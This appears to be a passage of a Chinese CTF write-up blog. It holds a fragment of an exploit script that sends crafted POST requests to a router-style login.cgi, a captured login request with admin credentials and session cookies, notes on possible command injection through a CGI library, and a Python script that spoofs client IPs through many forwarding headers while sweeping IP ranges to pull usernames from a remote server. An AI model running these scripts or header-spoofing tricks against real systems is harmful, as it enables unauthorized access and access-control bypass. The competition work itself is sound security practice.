a = b64e(data_bytes) ## 正确调用

## 构建完整的 HTTP 请求
## http_request = f"""POST /cgi-bin/login.cgi?register HTTP/1.1\r
## Host: 172.18.231.176\r
## Content-Length: 27\r
## Authorization: Basic {a}\r
## User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36\r
## Content-Type: application/x-www-form-urlencoded\r
## Connection: close\r

## """
body="id=2f41345534716979516b383d"
## 构造 HTTP 请求
payload = f"POST /cgi-bin/login.cgi?reset_password HTTP/1.1\r\n"
payload += f"Host: {target_ip}\r\n"
payload += f'Authorization: Basic {a}\r\n'
payload += f"Content-Length: {len(body)}\r\n"
payload += f"Content-Type: application/x-www-form-urlencoded\r\n"  ## 设置为表单编码类型
payload += "Connection: close\r\n"
payload += "\r\n"  ## 空行表示头部结束
payload += body  ## 添加请求体
## id=2f41345534716979516b383d
## 启动进程
#p = gdb.debug("./login.cgi")

## 发送完整的 HTTP 请求
p.send(payload)#223.112.5.141 62180

## 交互
p.interactive()

账号密码:admin:adeb6912779ffd071df719c0db3027f8

Bassement 这里是不是能命令注入,输入的参数会被传进 libCgi.so,然后执行 send_cmd,send_cmd 会把参数传到 basement 去执行

直接改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
POST /cgi-bin/login.cgi?login HTTP/1.1
Host: 127.0.0.1
Content-Length: 27
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Content-Type: application/x-www-form-urlencoded
sec-ch-ua-mobile: ?0
Authorization: Basic YWRtaW46YWRlYjY5MTI3NzlmZmQwNzFkZjcxOWMwZGIzMDI3Zjg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/login.html?error=incorrect_password
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Cookie=1hgTzZcLak7AxkmW8edxoID32qlXfsMUOsoDFENdoKccsCwrgPcIWf9MJkioRu9fadmin; session_id=2f41345534716979516b383d
Connection: close

id=2f41345534716979516b383d

好像进不了 case 6,send_cmd 的参数最多只能是 1234

OPT_1 是 r15d,上面那个 maohao_addr_4 是 r15

1
!"#%'()*+,-./0123456789:=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]_abcdefghijklmnopqrstuvwxyz{}~

MISC

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import requests
from bs4 import BeautifulSoup
import re

def generate_ip_sequence(start_ip, count, randombit):
    ip_parts = start_ip.split('.')
    base_ip = [int(part) for part in ip_parts]
    ip_list = []
    current_ip = base_ip.copy()
  
    for _ in range(count):
        ip_list.append('.'.join(map(str, current_ip)))
        current_ip[randombit - 1] += 1
        for i in range(3, -1, -1):
            if current_ip[i] > 255:
                current_ip[i] = 0
                if i > 0:
                    current_ip[i-1] += 1
    return ip_list

def generate_ip_sequence2(start_ip):
    ip_parts = start_ip.split('.')
    base_ip = [int(part) for part in ip_parts]
    ip_list = []
    current_ip = base_ip.copy()
  
    while True:
        ip_list.append('.'.join(map(str, current_ip)))
        current_ip[3] += 103
        if current_ip[3] > 255:
            current_ip[3] %= 256 
            current_ip[2] += 1
        if current_ip[2] == 255:
            break
    return ip_list

def generate_ip_sequence3(start_ip):
    ip_parts = start_ip.split('.')
    base_ip = [int(part) for part in ip_parts]
    ip_list = []
    current_ip = base_ip.copy()
  
    while True:
        ip_list.append('.'.join(map(str, current_ip)))
        current_ip[3] += 103
        current_ip[2] += 206
        if current_ip[3] > 255:
            current_ip[3] %= 256 
            current_ip[2] += 1
        if current_ip[2] > 256:
            current_ip[2] %= 256
            current_ip[1] += 1
        if current_ip[1] > 256:
            current_ip[1] %= 256
            current_ip[0] += 1
        if current_ip[0] == 255:
            break

    return ip_list

def get_page_with_ip(target_url, ip):
    headers = {
        "Host": "1.95.184.40:8520",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close",
        "X-Forwarded-For": ip,
        "X-Forwarded": ip,
        "Forwarded-For": ip,
        "Forwarded": ip,
        "X-Requested-With": ip,
        "X-Forwarded-Proto": ip,
        "X-Forwarded-Host": ip,
        "X-remote-IP": ip,
        "X-remote-addr": ip,
        "True-Client-IP": ip,
        "X-Client-IP": ip,
        "Client-IP": ip,
        "X-Real-IP": ip,
        "Ali-CDN-Real-IP": ip,
        "Cdn-Src-Ip": ip,
        "Cdn-Real-Ip": ip,
        "CF-Connecting-IP": ip,
        "X-Cluster-Client-IP": ip,
        "WL-Proxy-Client-IP": ip,
        "Proxy-Client-IP": ip,
        "Fastly-Client-Ip": ip,
        "True-Client-Ip": ip,
        "X-Originating-IP": ip,
        "X-Host": ip,
        "X-Custom-IP-Authorization": ip
    }
  
    try:
        response = requests.get(target_url, headers=headers, timeout=10)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"使用IP {ip} 请求失败: {e}")
        return None

def extract_username(html_content):
    if not html_content:
        return None

    soup = BeautifulSoup(html_content, 'html.parser')
    sections = soup.find_all('div', class_='section')

    if not sections:
        return None  ## 没有找到 section

    last_section = sections[-1]  ## 取最后一个 section,即 "Post a Message" 部分
    username_div = last_section.find('div', class_='username')

    if username_div:
        username_text = username_div.get_text(strip=True)
        match = re.search(r'User:\s*(.+)', username_text)
        return match.group(1).strip() if match else None

    return None

## 1. 4 -> 2  0.0.0.103 
## 2. 3 -> 1  0.0.206.103
## 3. 2 -> 3 & 2  0.0.206.103
## 4. 1 -> 4  start: 1.248.183.222

def main():
    target_url = "http://1.95.184.40:8520"
    start_ip = "0.0.0.0"
    burst_count = 255
  
    #ip_sequence = generate_ip_sequence(start_ip, burst_count, 4)
    #ip_sequence = generate_ip_sequence2(start_ip)
    ip_sequence = generate_ip_sequence3(start_ip)
    found_usernames = [] 
  
    for ip in ip_sequence:
        print(f"正在尝试IP: {ip}")
        html_content = get_page_with_ip(target_url, ip)
      
        if html_content:
            username = extract_username(html_content)
            if username:
                print(f"使用IP {ip} 提取到的Username: {username}")
                found_usernames.append((ip, username))
            else:
                print(f"使用IP {ip} 未找到username")
        else:
            print(f"使用IP {ip} 获取页面内容失败")
  
    if found_usernames:
        print("\n找到的所有Username:")
        for ip, username in found_usernames:
            print(f"IP: {ip} -> Username: {username}")
        return found_usernames[-1][1]  ## 返回最后一个找到的username
    else:
        print("所有IP尝试完毕,未找到任何username")
        return None

if __name__ == "__main__":
    result = main()
    print(f"最终返回给你的结果: {result}")

Crypto

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计